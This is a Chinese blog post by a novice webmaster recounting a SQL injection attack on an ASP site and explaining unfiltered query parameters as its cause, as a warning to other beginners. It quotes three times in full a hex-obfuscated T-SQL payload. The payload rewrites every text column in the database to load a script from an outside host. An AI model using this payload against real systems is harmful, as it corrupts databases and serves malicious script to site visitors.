我的网站前两天被恶意攻击了,第一次,只被注入了一个表,开始没太在意,只是把表处理了。然后星期六星期天放假了,也就没有理会。等我星期一上班的时候,才发现我的网站已经给人恶意注入了,网站数据库,几乎爆库,已经有几个G了,于是我感到事态的严重,我立即把数据库发原了,然后去查找原因。
经过几个小时的查找日志,终于在涛涛文字海洋中,发现了异常,异常代码是:cg.asp?province=%b1%b1%be%a9%ca%d0';dEcLaRe%20@S%20VaRcHaR(4000)%20SeT%20@s=cAsT(0x4445434C415245204054205641524348415228323535292C404320564152434841522832353529204445434C415245205461626C655F437572736F7220435552534F5220464F522053454C45435420612E6E616D652C622E6E616D652046524F4D207379736F626A6563747320612C737973636F6C756D6E73206220574845524520612E69643D622E696420414E4420612E78747970653D27752720414E442028622E78747970653D3939204F5220622E78747970653D3335204F5220622E78747970653D323331204F5220622E78747970653D31363729204F50454E205461626C655F437572736F72204645544348204E4558542046524F4D205461626C655F437572736F7220494E544F2040542C4043205748494C4528404046455443485F5354415455533D302920424547494E20455845432827555044415445205B272B40542B275D20534554205B272B40432B275D3D525452494D28434F4E5645525428564152434841522834303030292C5B272B40432B275D29292B27273C736372697074207372633D687474703A2F2F636E2E6A786D6D74762E636F6D2F636E2E6A733E3C2F7363726970743E27272729204645544348204E4558542046524F4D205461626C655F437572736F7220494E544F2040542C404320454E4420434C4F5345205461626C655F437572736F72204445414C4C4F43415445205461626C655F437572736F72%20aS%20VaRcHaR(4000));eXeC(@s);--大家可以看到这是一个超链接代码。我的网站本意是request.querystring("province")接入这个参数,然后执行SQL语句,原意是:select * from Facility where Province='北京市'这个语句。
结果,这个超链接的代码变成了这样。我接收的SQL语句完全变了。
select * from Facility where Province='北京市';dEcLaRe @S VaRcHaR(4000) SeT @s=cAsT(0x4445434C415245204054205641524348415228323535292C404320564152434841522832353529204445434C415245205461626C655F437572736F7220435552534F5220464F522053454C45435420612E6E616D652C622E6E616D652046524F4D207379736F626A6563747320612C737973636F6C756D6E73206220574845524520612E69643D622E696420414E4420612E78747970653D27752720414E442028622E78747970653D3939204F5220622E78747970653D3335204F5220622E78747970653D323331204F5220622E78747970653D31363729204F50454E205461626C655F437572736F72204645544348204E4558542046524F4D205461626C655F437572736F7220494E544F2040542C4043205748494C4528404046455443485F5354415455533D302920424547494E20455845432827555044415445205B272B40542B275D20534554205B272B40432B275D3D525452494D28434F4E5645525428564152434841522834303030292C5B272B40432B275D29292B27273C736372697074207372633D687474703A2F2F636E2E6A786D6D74762E636F6D2F636E2E6A733E3C2F7363726970743E27272729204645544348204E4558542046524F4D205461626C655F437572736F7220494E544F2040542C404320454E4420434C4F5345205461626C655F437572736F72204445414C4C4F43415445205461626C655F437572736F72 aS VaRcHaR(4000));eXeC(@s);--' order by Toptime desc对SQL有了解的朋友可以看出这是执行了两个SQL语句,第一个是select * from Facility where Province='北京市',这个是正常的。可是后面加了一个分号,表示前面语句结束,再执行后面的,于是执行第二个语句dEcLaRe @S VaRcHaR(4000) SeT @s=cAsT(0x4445434C415245204054205641524348415228323535292C404320564152434841522832353529204445434C415245205461626C655F437572736F7220435552534F5220464F522053454C45435420612E6E616D652C622E6E616D652046524F4D207379736F626A6563747320612C737973636F6C756D6E73206220574845524520612E69643D622E696420414E4420612E78747970653D27752720414E442028622E78747970653D3939204F5220622E78747970653D3335204F5220622E78747970653D323331204F5220622E78747970653D31363729204F50454E205461626C655F437572736F72204645544348204E4558542046524F4D205461626C655F437572736F7220494E544F2040542C4043205748494C4528404046455443485F5354415455533D302920424547494E20455845432827555044415445205B272B40542B275D20534554205B272B40432B275D3D525452494D28434F4E5645525428564152434841522834303030292C5B272B40432B275D29292B27273C736372697074207372633D687474703A2F2F636E2E6A786D6D74762E636F6D2F636E2E6A733E3C2F7363726970743E27272729204645544348204E4558542046524F4D205461626C655F437572736F7220494E544F2040542C404320454E4420434C4F5345205461626C655F437572736F72204445414C4C4F43415445205461626C655F437572736F72 aS VaRcHaR(4000));eXeC(@s);--
这条语句经过我转换,原名是这样的:DECLARE @T VARCHAR(255),@C VARCHAR(255) DECLARE Table_Cursor CURSOR FOR SELECT a.name,b.name FROM sysobjects a,syscolumns b WHERE a.id=b.id AND a.xtype='u' AND (b.xtype=99 OR b.xtype=35 OR b.xtype=231 OR b.xtype=167) OPEN Table_Cursor FETCH NEXT FROM Table这句语句的大概意思是:在所有的用户表中,在ntext类型,varchar类型中执行一些东西(比如插入啊)
于是SQL注入的原因就是这个了。我总结了网站注入的事件,发现是我的程序没有做好,因为开始我从没遇见过这事,所以对注入不太了解,也没有对request获取的字符串,做太多的限制工作。结果让这些“垃圾人”得逞了他们要的结果。因为我是个新人,在碰到这件事,求助了太多的论坛和网站,都没有人替我解决问题,我深深感到新人的无奈,于是我就把我的问题写出来告诉其它的新人朋友们,让你们在碰到这样的问题的时候,也有个例子,好解决自己的问题。
因本人水平不高,有太多的技术问题,如果高人看到此文,看到一些可笑的问题,请不要讥笑我这个新人,如果可以的话,请把你指正的问题留言给我,谢谢!